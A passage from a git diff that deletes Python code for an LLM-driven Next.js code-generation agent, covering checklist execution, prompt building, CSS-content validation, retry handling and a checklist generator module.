- - # Execute the tool - raw_result = self.tool_executor(tool_name, params) - - # Parse result - result = self._parse_tool_result(item, raw_result) - - # Post-command file operations (cross-platform, avoids shell file writing) - if result.success and item.template == "setup_prisma": - self._write_prisma_singleton(context.project_dir) - - return result - - def _execute_via_tool( - self, - item: ChecklistItem, - context: UserContext, - ) -> ItemExecutionResult: - """Execute via tool executor (fallback when no LLM). - - Args: - item: Checklist item to execute - context: User context - - Returns: - ItemExecutionResult - """ - # Map template to tool name - tool_name = TEMPLATE_TO_TOOL.get(item.template, item.template) - - # Build params with project_dir - params = self._build_params(item, context) - - logger.debug(f"Calling tool '{tool_name}' with params: {params}") - - # Execute the tool - raw_result = self.tool_executor(tool_name, params) - - # Parse result - return self._parse_tool_result(item, raw_result) - - def _execute_with_llm( - self, - item: ChecklistItem, - context: UserContext, - ) -> ItemExecutionResult: - """Execute a checklist item using LLM code generation. - - This is the core of Phase 9 - LLM generates contextual code using - templates as structural guidance. - - Args: - item: Checklist item to execute - context: User context - - Returns: - ItemExecutionResult - """ - logger.info(f"Generating code with LLM for {item.template}") - - try: - # 1. Get template as guidance - template_guidance = self._get_template_guidance(item) - if not template_guidance: - logger.warning( - f"No template guidance for {item.template}, falling back to tool" - ) - return self._execute_via_tool(item, context) - - # 1b. Resolve field definitions for prompt + post-processing - resolved_fields = self._resolve_fields(item, context) - - # 2. Build prompt - prompt = self._build_code_generation_prompt( - item, context, template_guidance, resolved_fields - ) - - # 3. Call LLM - logger.debug(f"Sending prompt to LLM ({len(prompt)} chars)") - - file_path = self._determine_file_path(item, context) - - # Start file preview - self.console.start_file_preview(file_path, max_lines=15) - - # Stream the response - full_response = "" - try: - # Try streaming first if available - if hasattr(self.llm_client, "send_stream"): - for chunk in self.llm_client.send_stream(prompt, timeout=1200): - if hasattr(chunk, "text"): - text = chunk.text - self.console.update_file_preview(text) - full_response += text - - if full_response.strip(): - generated_code = full_response - else: - raise ValueError("Empty streaming response") - else: - # Fallback to non-streaming - response = self.llm_client.send(prompt, timeout=1200) - if hasattr(response, "text"): - generated_code = response.text - elif hasattr(response, "content"): - generated_code = response.content - else: - generated_code = str(response) - - self.console.update_file_preview(generated_code) - - except Exception as e: - # Fallback if streaming fails - logger.warning(f"Streaming failed, falling back to standard send: {e}") - response = self.llm_client.send(prompt, timeout=1200) - if hasattr(response, "text"): - generated_code = response.text - elif hasattr(response, "content"): - generated_code = response.content - else: - generated_code = str(response) - - self.console.update_file_preview(generated_code) - - # Stop file preview - self.console.stop_file_preview() - - # 4. Clean response (strip markdown if present) - clean_code = self._clean_llm_response(generated_code) - - # 5. Validate generated code - is_valid, issues, is_blocking = self._validate_generated_code( - clean_code, item - ) - if not is_valid: - logger.warning(f"Validation issues for {item.template}: {issues}") - - # CRITICAL: Block file write for blocking errors (Issue #1002) - # This prevents TypeScript code from being written to CSS files - if is_blocking: - logger.error( - f"BLOCKING validation error for {item.template}: {issues}" - ) - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=False, - error=f"Content validation failed: {'; '.join(issues)}", - error_recoverable=True, # Allow LLM retry with recovery - ) - # Non-blocking issues: log warning and continue (best effort) - - # 6. Write to file - full_path = os.path.join(context.project_dir, file_path) - - # Create directory if needed - os.makedirs(os.path.dirname(full_path), exist_ok=True) - - # Write the generated code - with open(full_path, "w", encoding="utf-8") as f: - f.write(clean_code) - - logger.info(f"Wrote LLM-generated code to {file_path}") - - generated_files = [file_path] - - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=True, - files=generated_files, - warnings=issues if not is_valid else [], - ) - - except Exception as e: - logger.exception(f"LLM generation failed for {item.template}") - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=False, - error=str(e), - error_recoverable=True, - ) - - def _build_code_generation_prompt( - self, - item: ChecklistItem, - context: UserContext, - template_guidance: str, - fields_override: Optional[Dict[str, str]] = None, - ) -> str: - """Build prompt for LLM code generation. - - Args: - item: Checklist item describing what to generate - context: User context with project info - template_guidance: Template structure as guidance - - Returns: - Prompt string for LLM - """ - # CSS templates need a different prompt - they should NOT generate TypeScript - css_templates = {"setup_app_styling"} - if item.template in css_templates: - return self._build_css_generation_prompt(item, template_guidance) - - resource = item.params.get("resource", "item") - variant = item.params.get("variant", "default") - fields = ( - fields_override - if fields_override is not None - else item.params.get("fields", context.schema_fields or {}) - ) - - # Determine file type and output format - is_css_file = item.template == "setup_app_styling" - file_type = "CSS" if is_css_file else "TypeScript/TSX" - code_language = "css" if is_css_file else "typescript" - start_instruction = ( - "Start immediately with @tailwind directives or CSS rules" - if is_css_file - else 'Start immediately with imports or "use client"' - ) - - # Get required classes for this variant - required_classes = self._get_required_classes(item) - required_classes_str = ( - ", ".join(f"`{cls}`" for cls in required_classes) - if required_classes - else "None specified" - ) - - # Build architecture rules - skip TypeScript-specific rules for CSS - architecture_rules = "" - if not is_css_file: - architecture_rules = """## Architecture Rules -- Use Server Components by default for data fetching -- Add "use client" directive ONLY when using hooks, event handlers, or browser APIs -- Define explicit TypeScript types for all props and return values -- Use Prisma-generated types where applicable -- Never use `any` type - ----""" - - # Add CSS-specific warning for CSS files - css_warning = "" - if is_css_file: - css_warning = """## CRITICAL: CSS File Requirements - -This is a CSS file (globals.css). You MUST generate ONLY CSS code: -- NO TypeScript/JavaScript code -- NO import statements -- NO export statements -- NO const/let/function declarations -- NO JSX/React components -- NO TypeScript interfaces or types -- ONLY CSS rules, @tailwind directives, @layer directives, and CSS selectors - ---- - -""" - - return f"""You are an expert Next.js 14+ developer specializing in full-stack TypeScript applications. - -{css_warning}## CRITICAL: Required CSS Classes - -Your generated code MUST include these CSS classes: -{required_classes_str} - -These classes are MANDATORY and will be validated. Code without them will fail validation. - ---- - -## Task -Generate a {item.template} ({variant}) for the {resource} resource. - -### Purpose -{item.description} - -### User Request Context -{context.user_request} - -### Parameters -{json.dumps(item.params, indent=2)} - -### Data Model Fields -{json.dumps(fields, indent=2) if fields else "Not specified - use reasonable defaults based on resource name"} - ---- - -{architecture_rules}## Design System Classes (Dark Theme) - -**Containers**: `glass-card` (ALWAYS use for main content container - glassmorphism effect) -**Typography**: `page-title` (ALWAYS use for h1 headers - gradient text) -**Buttons**: `btn-primary` (blue gradient), `btn-secondary` (outline), `btn-danger` (red) -**Forms**: `input-field`, `select-field`, `textarea-field`, `label-text`, `form-group` -**Navigation**: `link-back` (for ← back links) -**Checkboxes**: `checkbox-modern` (for boolean fields) - -Theme: Dark backgrounds (slate-900), white text, blue-500 accents, white/10 borders. - ---- - -## Reference Pattern - -Adapt this structural pattern. Replace placeholders with actual values for {resource}: - -```{code_language} -{template_guidance} -``` - ---- - -## Output Format - -Return ONLY raw {file_type} code: -- NO markdown code blocks (no ```) -- NO explanatory text before or after -- {start_instruction} -- MUST include all required CSS classes listed above""" - - def _build_css_generation_prompt( - self, - item: ChecklistItem, - template_guidance: str, - ) -> str: - """Build prompt for CSS code generation. - - This is a specialized prompt for CSS files that ensures the LLM - generates Tailwind CSS instead of TypeScript/JSX. - - Args: - item: Checklist item describing what to generate - template_guidance: CSS template as guidance - - Returns: - Prompt string for LLM - """ - return f"""You are an expert CSS developer specializing in Tailwind CSS. - -## Task -Generate a Tailwind CSS stylesheet for: {item.description} - -## Rules -- Return ONLY CSS code (Tailwind CSS with @apply directives is valid CSS) -- NO TypeScript, JavaScript, imports, or exports -- NO React components or JSX -- NO markdown code blocks -- Start with @tailwind directives - -## Required Structure -The CSS must include: -1. @tailwind base, components, utilities directives -2. :root CSS variables for theming -3. @layer components with these classes using @apply: - - .glass-card (glassmorphism container) - - .page-title (gradient text heading) - - .btn-primary, .btn-secondary, .btn-danger (buttons) - - .input-field (form inputs) - - .checkbox-modern (styled checkboxes) - - .link-back (navigation links) - -## Reference Pattern - -Follow this Tailwind CSS template exactly: - -{template_guidance} - -## Output -Return raw CSS starting with @tailwind base;""" - - def _get_template_guidance(self, item: ChecklistItem) -> Optional[str]: - """Get template content as guidance for LLM. - - The templates from code_patterns.py serve as structural guidance, - not verbatim content to copy. - - Args: - item: Checklist item with template and params - - Returns: - Template string if found, None otherwise - """ - # Import templates lazily to avoid circular imports - try: - from ..prompts.code_patterns import ( - API_ROUTE_DYNAMIC_DELETE, - API_ROUTE_DYNAMIC_GET, - API_ROUTE_DYNAMIC_PATCH, - API_ROUTE_GET, - API_ROUTE_POST, - APP_GLOBALS_CSS, - CLIENT_COMPONENT_FORM, - CLIENT_COMPONENT_NEW_PAGE, - CLIENT_COMPONENT_TIMER, - SERVER_COMPONENT_DETAIL, - SERVER_COMPONENT_LIST, - ) - except ImportError: - logger.warning("Could not import code_patterns templates") - return None - - # Compose API route templates - api_route_collection = f"""import {{ NextResponse }} from "next/server"; -import {{ prisma }} from "@/lib/prisma"; -import {{ z }} from "zod"; - -// Schema for validation -// IMPORTANT: Use z.coerce.date() for any date/datetime/timestamp fields -const {{Resource}}Schema = z.object({{ - // Example: publishedOn: z.coerce.date(), - // Define fields based on your data model -}}); - -{API_ROUTE_GET} - -{API_ROUTE_POST} -""" - - api_route_item = f"""import {{ NextResponse }} from "next/server"; -import {{ prisma }} from "@/lib/prisma"; -import {{ z }} from "zod"; - -// Schema for update validation -// IMPORTANT: Use z.coerce.date() for any date/datetime/timestamp fields -const {{Resource}}UpdateSchema = z.object({{ - // Example: publishedOn: z.coerce.date().optional(), - // Define update fields (all optional for PATCH) -}}).partial(); - -{API_ROUTE_DYNAMIC_GET} - -{API_ROUTE_DYNAMIC_PATCH} - -{API_ROUTE_DYNAMIC_DELETE} -""" - - # NOTE: Prisma model guidance removed - uses manage_data_model tool, not LLM - - # Landing page template guidance - landing_page_guidance = """import Link from "next/link"; - -export default function Home() { - return ( -
-
-

Welcome

- -
- -
-
-

- {Resource}s -

-

Manage your {resource}s

-
- - - -
- -
-
-
- ); -} -""" - - # Mapping of template names to their guidance - TEMPLATE_GUIDANCE = { - "generate_react_component": { - "list": SERVER_COMPONENT_LIST, - "form": CLIENT_COMPONENT_FORM, - "new": CLIENT_COMPONENT_NEW_PAGE, - "detail": SERVER_COMPONENT_DETAIL, - "artifact-timer": CLIENT_COMPONENT_TIMER, - }, - "generate_api_route": { - "collection": api_route_collection, - "item": api_route_item, - }, - # NOTE: generate_prisma_model removed - uses manage_data_model tool - "setup_app_styling": { - "default": APP_GLOBALS_CSS, - }, - "update_landing_page": { - "default": landing_page_guidance, - }, - } - - template_name = item.template - guidance_map = TEMPLATE_GUIDANCE.get(template_name) - - if guidance_map is None: - return None - - if isinstance(guidance_map, str): - return guidance_map - - # Get variant-specific guidance - variant = item.params.get("variant", "default") - route_type = item.params.get("type", "default") # For API routes - - # Try variant first, then route_type, then default - return ( - guidance_map.get(variant) - or guidance_map.get(route_type) - or guidance_map.get("default") - ) - - def _determine_file_path( - self, - item: ChecklistItem, - context: UserContext, # pylint: disable=unused-argument - ) -> str: - """Determine the output file path for generated code. - - Args: - item: Checklist item with template and params - context: User context (unused but kept for consistency) - - Returns: - Relative file path from project root - """ - template = item.template - params = item.params - resource = params.get("resource", "item") - resource_cap = resource.capitalize() - - if template == "generate_react_component": - variant = params.get("variant", "list") - component_name = params.get("component_name") - if component_name: - safe_name = "".join( - ch for ch in component_name if ch.isalnum() or ch == "_" - ) - component_name = safe_name or component_name - - if variant == "list": - return f"src/app/{resource}s/page.tsx" - elif variant == "form": - return f"src/components/{resource_cap}Form.tsx" - elif variant == "new": - return f"src/app/{resource}s/new/page.tsx" - elif variant == "detail": - return f"src/app/{resource}s/[id]/page.tsx" - elif variant == "artifact-timer": - file_component = component_name or f"{resource_cap}Timer" - return f"src/components/{file_component}.tsx" - else: - if component_name: - return f"src/components/{component_name}.tsx" - return f"src/components/{resource_cap}{variant.capitalize()}.tsx" - - elif template == "generate_api_route": - route_type = params.get("type", "collection") - if route_type == "item": - return f"src/app/api/{resource}s/[id]/route.ts" - else: - return f"src/app/api/{resource}s/route.ts" - - # NOTE: generate_prisma_model removed - uses manage_data_model tool, not LLM - - elif template == "setup_app_styling": - return "src/app/globals.css" - - elif template == "update_landing_page": - return "src/app/page.tsx" - - # Default fallback - return f"src/generated/{template}.tsx" - - def _resolve_fields( - self, item: ChecklistItem, context: UserContext - ) -> Dict[str, str]: - """Resolve resource fields for code generation prompts.""" - params = item.params or {} - - def _normalize(fields: Dict[str, str]) -> Dict[str, str]: - type_map = { - "string": "string", - "text": "string", - "int": "number", - "float": "float", - "double": "float", - "number": "number", - "boolean": "boolean", - "datetime": "datetime", - "date": "date", - "timestamp": "datetime", - "email": "email", - "url": "url", - } - normalized = {} - for name, field_type in (fields or {}).items(): - mapped = type_map.get(field_type.lower(), "string") - normalized[name] = mapped - return normalized - - if "fields" in params and isinstance(params["fields"], dict): - return _normalize(params["fields"]) - - if context.schema_fields: - return _normalize(context.schema_fields) - - resource = params.get("resource") - if not resource: - return {} - - try: - from ..tools.web_dev_tools import read_prisma_model - except ImportError: - logger.debug("read_prisma_model unavailable for field resolution") - return {} - - try: - model_info = read_prisma_model(context.project_dir, resource.capitalize()) - except Exception as exc: # noqa: BLE001 - logger.warning(f"Failed to read Prisma model for {resource}: {exc}") - return {} - - if not model_info.get("success"): - logger.debug( - "Could not resolve Prisma fields for %s: %s", - resource, - model_info.get("error"), - ) - return {} - - prisma_fields = model_info.get("fields", {}) - return _normalize(prisma_fields) - - def _clean_llm_response(self, response: str) -> str: - """Clean LLM response by removing markdown artifacts. - - Args: - response: Raw LLM response - - Returns: - Cleaned code string - """ - code = response.strip() - - # Remove markdown code blocks - if code.startswith("```"): - lines = code.split("\n") - # Remove first line (```typescript or ```) - lines = lines[1:] - # Remove last line if it's closing ``` - if lines and lines[-1].strip() == "```": - lines = lines[:-1] - code = "\n".join(lines) - - # Also handle case where there might be text before code block - if "```typescript" in code or "```tsx" in code: - # Find start of code block - for marker in ["```typescript", "```tsx", "```"]: - if marker in code: - start = code.find(marker) - end = code.find("```", start + len(marker)) - if end > start: - code = code[start + len(marker) : end] - break - - return code.strip() - - def _get_required_classes(self, item: ChecklistItem) -> List[str]: - """Get list of required CSS classes for a checklist item. - - Args: - item: Checklist item with template and variant info - - Returns: - List of required CSS class names - """ - metadata = TEMPLATE_METADATA.get(item.template, {}) - variant = item.params.get("variant", "default") - route_type = item.params.get("type", "default") - - # Try variant, then route_type, then default - variant_meta = ( - metadata.get(variant) - or metadata.get(route_type) - or metadata.get("default") - or {} - ) - - return variant_meta.get("expected_classes", []) - - def _validate_generated_code( - self, - code: str, - item: ChecklistItem, - ) -> tuple[bool, List[str], bool]: - """Validate generated code meets requirements. - - Args: - code: Generated code to validate - item: Checklist item with template info - - Returns: - Tuple of (is_valid, list_of_issues, is_blocking) - - is_valid: True if no issues found - - list_of_issues: List of validation issue messages - - is_blocking: True if issues should prevent file write (CRITICAL errors) - """ - issues = [] - is_blocking = False - - # Check for markdown artifacts that slipped through - if code.strip().startswith("```"): - issues.append("Code still contains markdown block markers") - - # CRITICAL: For CSS files (setup_app_styling), check for TypeScript content - # This catches Issue #1002 where CSS files contain TypeScript code - if item.template == "setup_app_styling": - css_validation = self._validate_css_content_inline(code) - if css_validation["errors"]: - issues.extend(css_validation["errors"]) - is_blocking = True # TypeScript in CSS is a BLOCKING error - - # Get metadata for this template - metadata = TEMPLATE_METADATA.get(item.template, {}) - variant = item.params.get("variant", "default") - route_type = item.params.get("type", "default") - - # Try variant, then route_type, then default - variant_meta = ( - metadata.get(variant) - or metadata.get(route_type) - or metadata.get("default") - or {} - ) - - # Check for expected CSS classes (for UI components) - expected_classes = variant_meta.get("expected_classes", []) - for cls in expected_classes: - if cls not in code: - issues.append(f"Missing expected class: {cls}") - - # Check for 'use client' when needed - if variant_meta.get("requires_client"): - if '"use client"' not in code and "'use client'" not in code: - issues.append("Missing 'use client' directive for client component") - - # Check for basic TypeScript syntax - if item.template == "generate_react_component": - if "export default" not in code and "export function" not in code: - issues.append("Missing export statement") - - return len(issues) == 0, issues, is_blocking - - def _validate_css_content_inline(self, content: str) -> Dict[str, Any]: - """Validate CSS content for TypeScript/JavaScript code (Issue #1002). - - This is an inline version of the CSS validation for use during LLM - code generation. It detects when the LLM accidentally generates - TypeScript/JSX code instead of CSS. - - Args: - content: File content to validate - - Returns: - Dictionary with errors (blocking) and warnings - """ - import re - - errors = [] - warnings = [] - - # CRITICAL: Detect TypeScript/JavaScript code in CSS files - # These patterns indicate wrong file content - always invalid - typescript_indicators = [ - (r"^\s*import\s+.*from", "import statement"), - (r"^\s*export\s+(default|const|function|class|async)", "export statement"), - (r'"use client"|\'use client\'', "React client directive"), - (r"^\s*interface\s+\w+", "TypeScript interface"), - (r"^\s*type\s+\w+\s*=", "TypeScript type alias"), - (r"^\s*const\s+\w+\s*[=:]", "const declaration"), - (r"^\s*let\s+\w+\s*[=:]", "let declaration"), - (r"^\s*function\s+\w+", "function declaration"), - (r"^\s*async\s+function", "async function"), - (r"<[A-Z][a-zA-Z]*[\s/>]", "JSX component tag"), - (r"useState|useEffect|useRouter|usePathname", "React hook"), - ] - - for pattern, description in typescript_indicators: - if re.search(pattern, content, re.MULTILINE): - errors.append( - f"CRITICAL - CSS file contains {description}. " - f"This is TypeScript/JSX code, not CSS." - ) - - # Check for balanced braces - if content.count("{") != content.count("}"): - errors.append("Mismatched braces in CSS") - - # Check for Tailwind directives - has_tailwind = "@tailwind" in content or '@import "tailwindcss' in content - if not has_tailwind and len(content.strip()) > 50: - warnings.append( - "Missing Tailwind directives (@tailwind base/components/utilities)" - ) - - return { - "errors": errors, - "warnings": warnings, - "is_valid": len(errors) == 0, - } - - def _execute_item_with_recovery( - self, - item: ChecklistItem, - context: UserContext, - max_attempts: int = 3, - ) -> ItemExecutionResult: - """Execute a checklist item with error recovery. - - Uses the three-tier recovery strategy via ErrorHandler: - 1. RETRY: Simple retry (transient errors) - 2. FIX_AND_RETRY: LLM fixes code then retry - 3. ESCALATE: LLM rewrites from scratch - 4. ABORT: Give up after max attempts - - Args: - item: Checklist item to execute - context: User context - max_attempts: Maximum recovery attempts (default 3) - - Returns: - ItemExecutionResult from execution (or recovery attempts) - """ - last_result = None - - for attempt in range(max_attempts): - try: - # Execute the item - result = self._execute_item(item, context) - last_result = result - - if result.success: - # Reset retry count on success - if self.error_handler: - self.error_handler.reset_retry_count(item.template) - return result - - # User denied the tool at the confirmation prompt. Terminal — - # retrying would re-prompt for the identical call. - if result.denied: - logger.error( - "User denied tool execution for %s: %s", - item.template, - result.error, - ) - self.console.print_error( - f"Step '{item.description}' was cancelled: {result.error}" - ) - return result - - # No error handler - return failure immediately - if not self.error_handler: - logger.warning( - f"No error handler available for {item.template}, " - f"cannot retry: {result.error}" - ) - return result - - # Last attempt - return failure - if attempt >= max_attempts - 1: - logger.error( - f"Max attempts ({max_attempts}) exceeded for {item.template}" - ) - return result - - # Handle failure with error handler - logger.info( - f"Attempting recovery for {item.template} " - f"(attempt {attempt + 1}/{max_attempts}): {result.error}" - ) - - action, fix_info = self.error_handler.handle_error( - item.template, - result.error or "Unknown error", - { - "code": "", # Tool output doesn't include code - "project_dir": context.project_dir, - }, - ) - - if action == RecoveryAction.ABORT: - logger.error(f"Recovery aborted for {item.template}") - return result - - if action == RecoveryAction.RETRY: - logger.info( - f"Retrying {item.template} " - f"(attempt {attempt + 2}/{max_attempts})" - ) - continue - - if action in (RecoveryAction.FIX_AND_RETRY, RecoveryAction.ESCALATE): - if fix_info: - logger.info( - f"Fix applied for {item.template}: {fix_info[:100]}..." - ) - logger.info( - f"Retrying {item.template} after fix " - f"(attempt {attempt + 2}/{max_attempts})" - ) - continue - - except Exception as e: - logger.exception( - f"Exception in {item.template} (attempt {attempt + 1})" - ) - last_result = ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=False, - error=str(e), - error_recoverable=True, - ) - - # Last attempt - return exception result - if attempt >= max_attempts - 1: - last_result.error_recoverable = False - return last_result - - # Should not reach here, but return last result just in case - if last_result: - return last_result - - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=False, - error=f"Max attempts ({max_attempts}) exceeded", - error_recoverable=False, - ) - - def _build_params( - self, - item: ChecklistItem, - context: UserContext, - ) -> Dict[str, Any]: - """Build tool parameters from checklist item and context. - - Args: - item: Checklist item - context: User context - - Returns: - Dictionary of tool parameters - """ - params = dict(item.params) - tool_name = TEMPLATE_TO_TOOL.get(item.template, item.template) - - # Handle CLI command templates specially - if item.template == "create_next_app": - # Convert to run_cli_command format - return { - "command": ( - f"npx -y create-next-app@{NEXTJS_VERSION} . " - "--typescript --tailwind --eslint --app --src-dir --import-alias '@/*' --yes" - ), - "working_dir": context.project_dir, - "timeout": 1200, - } - - if item.template == "run_tests": - # Convert to run_cli_command format - return { - "command": "npm test", - "working_dir": context.project_dir, - "timeout": 1200, - } - - if item.template == "prisma_db_sync": - # Generate Prisma client and push schema to database - # This MUST run after generate_prisma_model and before API routes - return { - "command": "npx -y prisma generate && npx -y prisma db push", - "working_dir": context.project_dir, - "timeout": 1200, - } - - # Handle setup_prisma specially - needs to initialize Prisma first - if item.template == "setup_prisma": - return self._build_setup_prisma_params(item, context) - - # Handle generate_react_component specially - needs component_name derivation - if item.template == "generate_react_component": - return self._build_react_component_params(item, context) - - # Add project_dir only if tool expects it - if "project_dir" not in params and self._tool_accepts_parameter( - tool_name, "project_dir" - ): - params["project_dir"] = context.project_dir - - # Map checklist param names to tool param names - param_mapping = { - "resource": "resource_name", # generate_api_route -> manage_api_endpoint - "model_name": "model_name", # stays the same - "variant": "variant", # stays the same - } - - # Apply mappings - for checklist_name, tool_name in param_mapping.items(): - if checklist_name in params and checklist_name != tool_name: - params[tool_name] = params.pop(checklist_name) - - # Handle specific template parameters - template_def = get_template(item.template) - if template_def: - # Add entity name for data models - if item.template == "generate_prisma_model" and "model_name" in params: - context.entity_name = params["model_name"] - - # Handle API route type - if item.template == "generate_api_route": - route_type = params.pop("type", "collection") - if route_type == "item": - # For item routes, set operations appropriately - if "operations" not in params: - params["operations"] = ["GET", "PATCH", "DELETE"] - - return params - - def _build_setup_prisma_params( - self, - item: ChecklistItem, # pylint: disable=unused-argument - context: UserContext, - ) -> Dict[str, Any]: - """Build parameters for Prisma initialization. - - The setup_prisma template needs to: - 1. Initialize Prisma with SQLite (npx prisma init) - 2. Create the singleton file (src/lib/prisma.ts) - - The CLI commands run via shell, but the singleton file is written - via Python's pathlib in _execute_deterministic() for cross-platform - compatibility (Windows doesn't support Unix shell file operations). - - Args: - item: Checklist item (unused, kept for consistency) - context: User context - - Returns: - Dictionary of tool parameters for run_cli_command - """ - # Only run CLI commands - file writing is handled separately in - # _execute_deterministic() via _write_prisma_singleton() for - # cross-platform compatibility (mkdir -p and echo don't work on Windows) - command = ( - "npm install prisma@5 @prisma/client@5 zod && " - "npx -y prisma init --datasource-provider sqlite" - ) - - return { - "command": command, - "working_dir": context.project_dir, - "timeout": 1200, - } - - def _write_prisma_singleton(self, project_dir: str) -> None: - """Write Prisma singleton file using cross-platform Python. - - This method is called after setup_prisma CLI commands succeed. - We use Python's pathlib instead of shell commands (mkdir -p, echo) - because those Unix commands don't work on Windows. - - Args: - project_dir: Project root directory - """ - from pathlib import Path - - singleton_content = """import { PrismaClient } from "@prisma/client"; - -const globalForPrisma = globalThis as unknown as { - prisma: PrismaClient | undefined; -}; - -export const prisma = globalForPrisma.prisma ?? new PrismaClient(); - -if (process.env.NODE_ENV !== "production") globalForPrisma.prisma = prisma; -""" - lib_dir = Path(project_dir) / "src" / "lib" - lib_dir.mkdir(parents=True, exist_ok=True) - singleton_file = lib_dir / "prisma.ts" - singleton_file.write_text(singleton_content) - logger.debug(f"Created Prisma singleton at {singleton_file}") - - def _build_react_component_params( - self, - item: ChecklistItem, - context: UserContext, - ) -> Dict[str, Any]: - """Build parameters for manage_react_component tool. - - The template catalog defines: - - resource: Resource name (lowercase, singular) - - variant: Component variant (list|form|new|detail|actions) - - with_checkboxes: Boolean (optional, not supported by tool) - - The tool expects: - - project_dir: Path to project - - component_name: Component name (e.g., "TodoList", "UserForm") - - component_type: "server" or "client" - - resource_name: Associated resource - - fields: Resource fields (optional) - - variant: Component variant - - Args: - item: Checklist item with template params - context: User context - - Returns: - Dictionary of tool parameters - """ - template_params = dict(item.params) - - # Extract resource and variant - resource = template_params.get("resource", "") - variant = template_params.get("variant", "list") - - # Generate component_name from resource + variant - # Allow caller to provide an explicit component_name (used for timers) - resource_capitalized = resource.capitalize() if resource else "Item" - variant_capitalized = variant.capitalize() if variant else "List" - explicit_component = template_params.get("component_name") - - # Build component name based on variant - if explicit_component: - component_name = explicit_component - elif variant == "list": - component_name = f"{resource_capitalized}List" - elif variant == "form": - component_name = f"{resource_capitalized}Form" - elif variant == "new": - component_name = f"New{resource_capitalized}" - elif variant == "detail": - component_name = f"{resource_capitalized}Detail" - elif variant == "actions": - component_name = f"{resource_capitalized}Actions" - elif variant == "artifact-timer": - component_name = f"{resource_capitalized}Timer" - else: - component_name = f"{resource_capitalized}{variant_capitalized}" - - # Determine component_type based on variant - # list pages are server components, forms and interactive pages are client - if variant in ("list",): - component_type = "server" - else: - component_type = "client" - - # Build the actual tool params - tool_params = { - "project_dir": context.project_dir, - "component_name": component_name, - "component_type": component_type, - "resource_name": resource, - "variant": variant, - } - - # Add fields from context if available - if context.schema_fields: - tool_params["fields"] = context.schema_fields - - # Note: with_checkboxes is NOT passed - tool doesn't support it - # The variant and resource determine the component behavior - - return tool_params - - def _parse_tool_result( - self, - item: ChecklistItem, - raw_result: Any, - ) -> ItemExecutionResult: - """Parse raw tool result into ItemExecutionResult. - - Args: - item: Original checklist item - raw_result: Raw result from tool execution - - Returns: - ItemExecutionResult - """ - # Handle different result types - if isinstance(raw_result, StepResult): - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=raw_result.success, - files=raw_result.output.get("files", []), - warnings=raw_result.output.get("warnings", []), - error=raw_result.error_message, - error_recoverable=raw_result.retryable, - output=raw_result.output, - ) - - if isinstance(raw_result, dict): - # Tools report failure either as success=False or as the base - # agent's status field ("denied" from the confirmation gate, - # "error" from _execute_tool). Absent both, treat as success — - # many tools return a bare payload dict on the happy path. - status = raw_result.get("status") - denied = status == "denied" - success = raw_result.get("success", status not in ("denied", "error")) - error = raw_result.get("error") or raw_result.get("error_brief") - if denied: - error = error or f"Tool for '{item.template}' was denied by the user." - elif not success and error: - # _execute_tool's error text is addressed to the model and omits - # the tool name; the replanning prompt needs to know which - # checklist item produced it. - error = f"[{item.template}] {error}" - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=success, - files=raw_result.get("files", []), - warnings=raw_result.get("warnings", []), - error=error, - # A denial is a user decision, not a transient fault: never - # retry it and never let stop_on_error skip past it. - error_recoverable=( - False if denied else raw_result.get("retryable", True) - ), - output=raw_result, - denied=denied, - ) - - # Unknown result type - treat as success if truthy - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=bool(raw_result), - output={"raw": raw_result}, - ) - - def _report_progress(self, description: str, current: int, total: int) -> None: - """Report progress via callback if available. - - Args: - description: Current item description - current: Current item number - total: Total items - """ - # Log at debug level to avoid duplicate console output (checklist state is already printed) - logger.debug(f"[{current}/{total}] {description}") - if self.progress_callback: - self.progress_callback(description, current, total) - - def _handle_step_through(self, description: str) -> bool: - """Handle step-through pause. - - Args: - description: Description of the completed step - - Returns: - True to continue, False to stop - """ - # Check for TTY to avoid hanging in non-interactive modes - if not sys.stdin or not sys.stdin.isatty(): - # In non-interactive mode, log and continue - logger.debug( - f"Step-through enabled but no TTY. Continuing after: {description}" - ) - return True - - self.console.print_step_paused(description) - - try: - response = input("> ").strip().lower() - if response in ["n", "no", "q", "quit", "exit"]: - return False - return True - except (EOFError, KeyboardInterrupt): - return False diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/checklist_generator.py b/hub/agents/code/python/gaia_agent_code/orchestration/checklist_generator.py deleted file mode 100644 index 46a4d4129..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/checklist_generator.py +++ /dev/null @@ -1,713 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Checklist Generator for LLM-Driven Code Generation. - -This module uses an LLM to generate a checklist of template invocations -based on the user's request and the available template catalog. - -The generator: -1. Receives user request and project context -2. Sends prompt to LLM with template catalog -3. Parses LLM response into structured checklist -4. Validates checklist items against template definitions - -The resulting checklist is then executed deterministically by -ChecklistExecutor. -""" - -import json -import logging -import re -from dataclasses import dataclass, field -from typing import Any, Dict, List, Optional, Protocol - -from .steps.base import UserContext -from .template_catalog import get_catalog_prompt, validate_checklist_item - -logger = logging.getLogger(__name__) - - -class AgentSDK(Protocol): - """Protocol for agent SDK interface.""" - - def send(self, message: str, timeout: int = 600, no_history: bool = False) -> Any: - """Send a message and get response.""" - ... - - -@dataclass -class ChecklistItem: - """Single item in the generated checklist. - - Represents a template invocation with its parameters and - the LLM's reasoning for including it. - """ - - template: str - params: Dict[str, Any] - description: str - - def to_dict(self) -> Dict[str, Any]: - """Convert to dictionary representation.""" - return { - "template": self.template, - "params": self.params, - "description": self.description, - } - - -@dataclass -class GeneratedChecklist: - """Complete checklist generated by LLM. - - Contains the list of template invocations and the LLM's - overall reasoning for the chosen approach. - """ - - items: List[ChecklistItem] - reasoning: str - raw_response: str = "" - validation_errors: List[str] = field(default_factory=list) - - @property - def is_valid(self) -> bool: - """Check if checklist passed validation.""" - return len(self.validation_errors) == 0 - - def to_dict(self) -> Dict[str, Any]: - """Convert to dictionary representation.""" - return { - "reasoning": self.reasoning, - "checklist": [item.to_dict() for item in self.items], - "is_valid": self.is_valid, - "validation_errors": self.validation_errors, - } - - -@dataclass 